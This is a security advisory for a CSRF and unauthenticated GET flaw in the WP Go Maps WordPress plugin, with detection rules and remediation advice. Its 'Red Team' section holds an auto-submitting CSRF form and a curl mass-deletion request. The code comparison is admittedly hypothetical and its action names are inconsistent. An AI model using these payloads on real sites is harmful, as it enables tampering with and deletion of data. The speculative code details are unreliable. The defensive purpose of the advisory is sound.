CVE-2025-11166

Executive Summary

CVE-2025-11166 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the WP Go Maps (formerly WP Google Maps) WordPress plugin, versions up to and including 9.0.46. The vulnerability arises from the plugin exposing state-changing REST actions through an AJAX bridge without proper CSRF token validation. Additionally, destructive logic is reachable via GET requests with no permission_callback, allowing unauthenticated attackers to force logged-in administrators to create, update, or delete markers and geometry features via CSRF attacks. Anonymous users can also trigger mass deletion of markers via unsafe GET requests. The CVSS score is 5.4 (Medium), and no official patch has been released at the time of analysis.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is a critical component of the WordPress ecosystem. Users should verify the integrity of their plugin installation and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need authentication.
• User Interaction (UI): Required (R) – The victim (admin) must be tricked into clicking a link or visiting a malicious page.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): Low (L) – Limited ability to modify data (markers/geometry).
• Availability (A): Low (L) – Limited ability to delete markers (mass deletion).

Threat Level: Medium. The vulnerability requires user interaction (admin clicking a link) but can lead to unauthorized creation, modification, or deletion of map data. The mass deletion via GET requests is particularly dangerous as it can be triggered without CSRF.

Deep Dive & Mechanics

The WP Go Maps plugin provides an AJAX bridge that exposes REST-like actions for managing map markers and geometry features. The vulnerability exists because:

1. Missing CSRF Token Validation: The AJAX bridge does not validate CSRF tokens for state-changing actions (create, update, delete). This allows an attacker to craft a malicious request that, when executed by a logged-in administrator, performs unauthorized actions.

2. Unsafe GET Requests: The plugin allows destructive actions (e.g., mass deletion of markers) to be triggered via GET requests without a permission_callback. This means any unauthenticated user can send a GET request to delete markers, bypassing CSRF entirely.

The attack flow:

• CSRF Attack: An attacker crafts a malicious HTML page or link that, when visited by an authenticated admin, sends a POST/GET request to the plugin's AJAX endpoint. The request performs actions like creating, updating, or deleting markers.
• Direct GET Attack: An attacker sends a GET request directly to the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=wp_google_maps_mass_delete). Since no authentication or CSRF token is required, the request succeeds.

The vulnerable code likely resides in the plugin's AJAX handler, where actions are registered without proper nonce checks or capability checks.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (wp-google-maps/includes/class.ajax.php):

add_action('wp_ajax_wpgmza_create_marker', 'wpgmza_create_marker');
add_action('wp_ajax_nopriv_wpgmza_create_marker', 'wpgmza_create_marker');

function wpgmza_create_marker() {
    // No nonce check
    // No permission_callback
    $marker_data = $_POST['marker'];
    // Process and save marker
    wp_send_json_success();
}

Patched Code (Hypothetical):

add_action('wp_ajax_wpgmza_create_marker', 'wpgmza_create_marker');
// Remove nopriv action to require authentication
// add_action('wp_ajax_nopriv_wpgmza_create_marker', 'wpgmza_create_marker');

function wpgmza_create_marker() {
    // Add nonce check
    if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'wpgmza_ajax_nonce')) {
        wp_send_json_error('Invalid nonce');
        return;
    }
    // Add capability check
    if (!current_user_can('edit_posts')) {
        wp_send_json_error('Insufficient permissions');
        return;
    }
    $marker_data = $_POST['marker'];
    // Process and save marker
    wp_send_json_success();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with WP Go Maps plugin version <= 9.0.46.
• A logged-in administrator (for CSRF) or no authentication (for direct GET).

CSRF Exploit (HTML):

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="wpgmza_create_marker">
    <input type="hidden" name="marker[title]" value="Malicious Marker">
    <input type="hidden" name="marker[lat]" value="40.7128">
    <input type="hidden" name="marker[lng]" value="-74.0060">
    <input type="submit" value="Submit">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Direct GET Exploit (Mass Deletion):

curl -X GET "http://target-site.com/wp-admin/admin-ajax.php?action=wpgmza_mass_delete_markers"

Blue Team

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with actions like wpgmza_create_marker, wpgmza_update_marker, wpgmza_delete_marker, or wpgmza_mass_delete_markers.
• Look for GET requests to admin-ajax.php with these actions (should normally be POST).
• Check for missing _wpnonce parameter in AJAX requests.

Hunting:

• Search web server logs for admin-ajax.php?action=wpgmza_* with GET method.
• Correlate with user agent anomalies or referer headers from external domains.

Indicators of Compromise (IOCs)

• URL Patterns:
  • /wp-admin/admin-ajax.php?action=wpgmza_create_marker
  • /wp-admin/admin-ajax.php?action=wpgmza_update_marker
  • /wp-admin/admin-ajax.php?action=wpgmza_delete_marker
  • /wp-admin/admin-ajax.php?action=wpgmza_mass_delete_markers
• HTTP Methods: GET requests to the above URLs (should be POST).
• Log Entries: POST /wp-admin/admin-ajax.php with action=wpgmza_* and missing _wpnonce parameter.
• File Changes: Unexpected creation or modification of map markers in the database.

Detection Engineering

YARA Rule

rule CVE_2025_11166_WP_Go_Maps_CSRF {
    meta:
        description = "Detects WP Go Maps plugin files vulnerable to CVE-2025-11166"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11166"
    strings:
        $ajax_action = /add_action\s*\(\s*['\"]wp_ajax_(nopriv_)?wpgmza_/
        $no_nonce = /wp_verify_nonce/
        $no_cap = /current_user_can/
    condition:
        $ajax_action and not ($no_nonce or $no_cap)
}

Sigma Rule

title: CVE-2025-11166 - WP Go Maps CSRF Exploitation
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2025-11166 via AJAX requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'action=wpgmza_'
    condition: selection
falsepositives:
    - Legitimate plugin AJAX calls (should be POST)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-11166 - WP Go Maps CSRF Exploitation via GET";
    flow:to_server,established;
    http.method;
    content:"GET";
    http.uri;
    content:"/wp-admin/admin-ajax.php";
    http.uri;
    content:"action=wpgmza_";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block GET requests to admin-ajax.php with action=wpgmza_*.
3. Add CSRF protection manually by modifying the plugin's AJAX handlers (if possible) to include nonce verification and capability checks.

Long-term Fix:

• Apply the official patch when released by the vendor.
• Replace the plugin with an alternative that is actively maintained and secure.

Workaround:

• Use a security plugin (e.g., Wordfence) to add CSRF tokens to AJAX requests.
• Restrict access to admin-ajax.php via .htaccess for unauthenticated users (if possible).

Valters IT
DevSecOps & Cyber Threat Intelligence